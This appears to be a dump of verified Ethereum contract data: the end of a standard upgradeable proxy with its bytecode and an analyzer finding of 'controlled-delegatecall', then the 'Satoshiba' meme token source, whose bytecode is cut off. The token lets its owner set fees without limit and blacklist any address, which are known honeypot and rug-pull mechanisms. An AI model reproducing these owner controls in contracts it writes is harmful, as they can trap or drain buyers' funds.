// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) {
BaseAdminUpgradeabilityProxy._willFallback();
}
}
|
0x6080604052600436106100705760003560e01c80638f2839701161004e5780638f2839701461015e578063cf7a1d7714610191578063d1f5789414610250578063f851a4401461030657610070565b80633659cfe61461007a5780634f1ef286146100ad5780635c60da1b1461012d575b61007861031b565b005b34801561008657600080fd5b506100786004803603602081101561009d57600080fd5b50356001600160a01b0316610335565b610078600480360360408110156100c357600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ee57600080fd5b82018360208201111561010057600080fd5b8035906020019184600183028401116401000000008311171561012257600080fd5b50909250905061036f565b34801561013957600080fd5b5061014261041c565b604080516001600160a01b039092168252519081900360200190f35b34801561016a57600080fd5b506100786004803603602081101561018157600080fd5b50356001600160a01b0316610459565b610078600480360360608110156101a757600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101db57600080fd5b8201836020820111156101ed57600080fd5b8035906020019184600183028401116401000000008311171561020f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610513945050505050565b6100786004803603604081101561026657600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561029157600080fd5b8201836020820111156102a357600080fd5b803590602001918460018302840111640100000000831117156102c557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610543945050505050565b34801561031257600080fd5b50610142610623565b61032361064e565b61033361032e610656565b61067b565b565b61033d61069f565b6001600160a01b0316336001600160a01b031614156103645761035f816106c4565b61036c565b61036c61031b565b50565b61037761069f565b6001600160a01b0316336001600160a01b0316141561040f57610399836106c4565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146103f6576040519150601f19603f3d011682016040523d82523d6000602084013e6103fb565b606091505b505090508061040957600080fd5b50610417565b61041761031b565b505050565b600061042661069f565b6001600160a01b0316336001600160a01b0316141561044e57610447610656565b9050610456565b61045661031b565b90565b61046161069f565b6001600160a01b0316336001600160a01b03161415610364576001600160a01b0381166104bf5760405162461bcd60e51b815260040180806020018281038252603681526020018061085f6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104e861069f565b604080516001600160a01b03928316815291841660208301528051918290030190a161035f81610704565b600061051d610656565b6001600160a01b03161461053057600080fd5b61053a8382610543565b61041782610704565b600061054d610656565b6001600160a01b03161461056057600080fd5b61056982610728565b80511561061f576000826001600160a01b0316826040518082805190602001908083835b602083106105ac5780518252601f19909201916020918201910161058d565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461060c576040519150601f19603f3d011682016040523d82523d6000602084013e610611565b606091505b505090508061041757600080fd5b5050565b600061062d61069f565b6001600160a01b0316336001600160a01b0316141561044e5761044761069f565b610333610790565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561069a573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6106cd81610728565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b610731816107f0565b61076c5760405162461bcd60e51b815260040180806020018281038252603b815260200180610895603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b61079861069f565b6001600160a01b0316336001600160a01b031614156107e85760405162461bcd60e51b815260040180806020018281038252603281526020018061082d6032913960400191505060405180910390fd5b610333610333565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061082457508115155b94935050505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212205b70184b910b61c840297871c0fa5a4d6a4c004bea856b7718f824c27cb83b4f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 1,621 |
0x12452eff3685e391a9e736d42283af5dd10b6fb8
|
/**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
// SPDX-License-Identifier: Unlicensed
/*
The number of crypto investors has increased rapidly recently due to the wider application of blockchain technology.
However, how many of you really understand the history of cryptocurrency?
I bet you won’t even know who Satorshi is and how great he is as a kiddo.
Let’s tell us the story of Storshi and express our greatest gratitude to the establishment.
$Satoshiba token 🚀
🚀🚀🚀🚀
TG:
satoshibaportal
🚀🚀🚀🚀
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Satoshiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Satoshiba";
string private constant _symbol = "Satoshiba";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000 * 10**9;
uint256 public _maxWalletSize = 15000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to]);
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610544578063dd62ed3e14610564578063ea1644d5146105aa578063f2fde38b146105ca57600080fd5b8063a2a957bb146104bf578063a9059cbb146104df578063bfd79284146104ff578063c3c8cd801461052f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104695780638f9a55c01461048957806395d89b411461020957806398a5c3151461049f57600080fd5b80637d1db4a5146103f35780637f2feddc146104095780638203f5fe146104365780638da5cb5b1461044b57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038957806370a082311461039e578063715018a6146103be57806374010ece146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101b65780631694505e1461027a57806318160ddd146102b257806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024a57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a83565b6105ea565b005b34801561021557600080fd5b5060408051808201825260098152685361746f736869626160b81b602082015290516102419190611b48565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611b9d565b610689565b6040519015158152602001610241565b34801561028657600080fd5b5060135461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50670de0b6b3a76400005b604051908152602001610241565b3480156102e357600080fd5b5061026a6102f2366004611bc9565b6106a0565b34801561030357600080fd5b506102c960175481565b34801561031957600080fd5b5060405160098152602001610241565b34801561033557600080fd5b5060145461029a906001600160a01b031681565b34801561035557600080fd5b50610207610364366004611c0a565b610709565b34801561037557600080fd5b50610207610384366004611c37565b610754565b34801561039557600080fd5b5061020761079c565b3480156103aa57600080fd5b506102c96103b9366004611c0a565b6107c9565b3480156103ca57600080fd5b506102076107eb565b3480156103df57600080fd5b506102076103ee366004611c52565b61085f565b3480156103ff57600080fd5b506102c960155481565b34801561041557600080fd5b506102c9610424366004611c0a565b60116020526000908152604090205481565b34801561044257600080fd5b5061020761088e565b34801561045757600080fd5b506000546001600160a01b031661029a565b34801561047557600080fd5b50610207610484366004611c37565b610a46565b34801561049557600080fd5b506102c960165481565b3480156104ab57600080fd5b506102076104ba366004611c52565b610aa5565b3480156104cb57600080fd5b506102076104da366004611c6b565b610ad4565b3480156104eb57600080fd5b5061026a6104fa366004611b9d565b610b12565b34801561050b57600080fd5b5061026a61051a366004611c0a565b60106020526000908152604090205460ff1681565b34801561053b57600080fd5b50610207610b1f565b34801561055057600080fd5b5061020761055f366004611c9d565b610b55565b34801561057057600080fd5b506102c961057f366004611d21565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b657600080fd5b506102076105c5366004611c52565b610bf6565b3480156105d657600080fd5b506102076105e5366004611c0a565b610c25565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611d5a565b60405180910390fd5b60005b81518110156106855760016010600084848151811061064157610641611d8f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067d81611dbb565b915050610620565b5050565b6000610696338484610d0f565b5060015b92915050565b60006106ad848484610e33565b6106ff84336106fa85604051806060016040528060288152602001611ed5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611320565b610d0f565b5060019392505050565b6000546001600160a01b031633146107335760405162461bcd60e51b815260040161061490611d5a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077e5760405162461bcd60e51b815260040161061490611d5a565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107bc57600080fd5b476107c68161135a565b50565b6001600160a01b03811660009081526002602052604081205461069a90611394565b6000546001600160a01b031633146108155760405162461bcd60e51b815260040161061490611d5a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108895760405162461bcd60e51b815260040161061490611d5a565b601555565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161061490611d5a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109419190611dd6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561098e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b29190611dd6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a239190611dd6565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a705760405162461bcd60e51b815260040161061490611d5a565b601454600160a01b900460ff1615610a8757600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161061490611d5a565b601755565b6000546001600160a01b03163314610afe5760405162461bcd60e51b815260040161061490611d5a565b600893909355600a91909155600955600b55565b6000610696338484610e33565b6012546001600160a01b0316336001600160a01b031614610b3f57600080fd5b6000610b4a306107c9565b90506107c681611418565b6000546001600160a01b03163314610b7f5760405162461bcd60e51b815260040161061490611d5a565b60005b82811015610bf0578160056000868685818110610ba157610ba1611d8f565b9050602002016020810190610bb69190611c0a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be881611dbb565b915050610b82565b50505050565b6000546001600160a01b03163314610c205760405162461bcd60e51b815260040161061490611d5a565b601655565b6000546001600160a01b03163314610c4f5760405162461bcd60e51b815260040161061490611d5a565b6001600160a01b038116610cb45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610dd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160